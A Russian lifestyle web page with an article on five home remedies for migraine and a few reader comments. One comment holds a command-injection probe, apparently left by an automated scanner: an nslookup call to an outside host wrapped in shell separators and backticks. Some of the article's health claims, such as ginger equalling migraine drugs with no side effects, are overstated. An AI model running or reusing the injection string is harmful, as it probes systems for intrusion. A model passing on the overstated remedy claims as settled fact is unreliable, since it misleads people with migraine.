Читайте самое интересное про звезды, здоровье, секс и многое другое

Несколько способов справиться с мигренью

В данной статье обсудим пять способов, которые помогут справиться с мигренью.

Мигрень — это сильная головная боль, которая обычно сопровождается другими симптомами, такими как тошнота, чувствительность к свету и звукам. Она может длиться от нескольких часов до нескольких дней и чаще всего ощущается с одной стороны головы. Причины мигрени могут быть разные: стресс, недостаток сна, резкие запахи или даже изменение погоды. Некоторые люди могут чувствовать приближение мигрени заранее — это называется аурой. Для лечения можно использовать обезболивающие препараты или другие специальные лекарства, которые помогают облегчить боль и другие симптомы. Сегодня рассмотрим несколько способов, как облегчить самочувствие при мигрени.

 1. Изменение питания

Некоторые продукты, такие как нитраты, сульфаты, рафинированный сахар, кофеин и алкоголь, могут спровоцировать головные боли и усилить склонность к мигрени. Полностью отказаться от них может быть сложно, но это и не обязательно. Достаточно постепенно сократить их употребление и заменить более полезными альтернативами. Уже через 2-3 недели вы заметите улучшения. Важно понимать, что предотвратить мигрень гораздо проще, чем бороться с уже наступившим приступом.

 2. Акупунктура

Во время приступа мигрени попробуйте массаж определённых точек на теле. Например, массируйте точку между большим и указательным пальцами в течение 20 секунд, а затем смените руку. Это может помочь облегчить боль.

 3. Магний

Магний — ключевой элемент для предотвращения мигрени. Недавние исследования показали, что во время острых головных болей уровень магния в организме значительно снижен. Если вы не получаете достаточно магния с пищей, можно добавить в рацион продукты, богатые этим элементом, такие как бананы, авокадо, инжир, зелёный горошек и тыквенные семечки. В некоторых случаях помогут добавки магния, но лучше консультироваться с врачом.

 4. Имбирь

Корень имбиря известен своими полезными свойствами. В одном из исследований его эффективность сравнивали с лекарствами против мигрени, и результаты оказались практически идентичными, но без побочных эффектов. Попробуйте добавлять свежий имбирь в напитки или сделайте чай, растворив половину чайной ложки молотого имбиря в тёплой воде. Уже через 15-20 минут вы почувствуете облегчение.

 5. Ароматерапия

Запахи могут напрямую влиять на уровень стресса, что делает ароматерапию эффективным способом борьбы с мигренью. Масло перечной мяты освежает и оказывает успокаивающее воздействие на нервную систему. Нанесите несколько капель масла, смешанного с водой, на виски круговыми движениями, расслабьтесь и отдохните, чтобы усилить эффект.

 


Автор:
Теги: здоровье мигрень головные боли причины мигрени как бороться с мигренью

Комментарии (3)

Сортировка: Рейтинг | Дата
Катя Плетнёва
Подышите и активно подвигайтесь. Кислорода не хватает. Позавчера началась мигрень, а пошла и присела 50 раз - всё как рукой сняло.
*Светлана* * 
активно подвигаться при мигрени не возможно!!!! Если вы это пишите, значит у вас не мигрень. При приступе мигрени любое движение вызывает еще более сильную боль, тошноту, а иногда и рвоту. Мигрень отличается от простой головной боли и обезболивающие не помогают кроме триптанов. Мигрень это расширенные и воспаленные сосуды головного мозга. Облегчить боль можно только сузив их....
RDFYjolf
&nslookup -q=cname hityrruqtlttn45e72.bxss.me&'\"`0&nslookup -q=cname hityrruqtlttn45e72.bxss.me&`'
Написать комментарий:
Напишите ответ :
Несколько способов повысить концентрацию внимания
Несколько способов повысить концентрацию внимания
1
Женский развлекательный и поучительный сайт. 20:13 11 июн 2023
7 удивительных способов использования использованных чайных пакетиков
7 удивительных способов использования использованных чайных пакетиков
0
Застолье 00:20 20 фев 2025
Как справиться с налётом в душевой кабине
Как справиться с налётом в душевой кабине
1
Человек познаёт мир 01:40 12 апр 2025
7 способов оказать поддержку
7 способов оказать поддержку
14
Женский развлекательный и поучительный сайт. 19:29 12 дек 2019
Несколько простых способов справиться с тревогой
Несколько простых способов справиться с тревогой
1
Интересности 23:51 10 авг 2016
Как справиться с изменой
Как справиться с изменой
2
Человек познаёт мир 12:30 27 май 2024
7 эффективных способов, которые помогут очистить ванную комнату и сделать её сверкающей
7 эффективных способов, которые помогут очистить ванную комнату и сделать её сверкающей
0
Человек познаёт мир 01:40 19 май 2025
Несколько лайфхаков для простых и вкусных блюд
Несколько лайфхаков для простых и вкусных блюд
4
Человек познаёт мир 11:00 16 фев 2025
Как справиться с раздражающими вас людьми
Как справиться с раздражающими вас людьми
46
Женский развлекательный и поучительный сайт. 03:43 24 фев 2019
Салат Хумус (несколько способов подачи)
Салат Хумус (несколько способов подачи)
0
Женский сайт 19:50 19 фев 2016
5 способов удержаться от лишних трат
5 способов удержаться от лишних трат
20
Женский развлекательный и поучительный сайт. 18:19 30 ноя 2019
Как выглядит китайское такси в наши дни
Как выглядит китайское такси в наши дни
0
Человек познаёт мир 05:00 Сегодня

Выберете причину обращения:

Выберите действие

Укажите ваш емейл:

Укажите емейл

Такого емейла у нас нет.

Проверьте ваш емейл:

Укажите емейл

Почему-то мы не можем найти ваши данные. Напишите, пожалуйста, в специальный раздел обратной связи: Не смогли найти емейл. Наш менеджер разберется в сложившейся ситуации.

Ваши данные удалены

Просим прощения за доставленные неудобства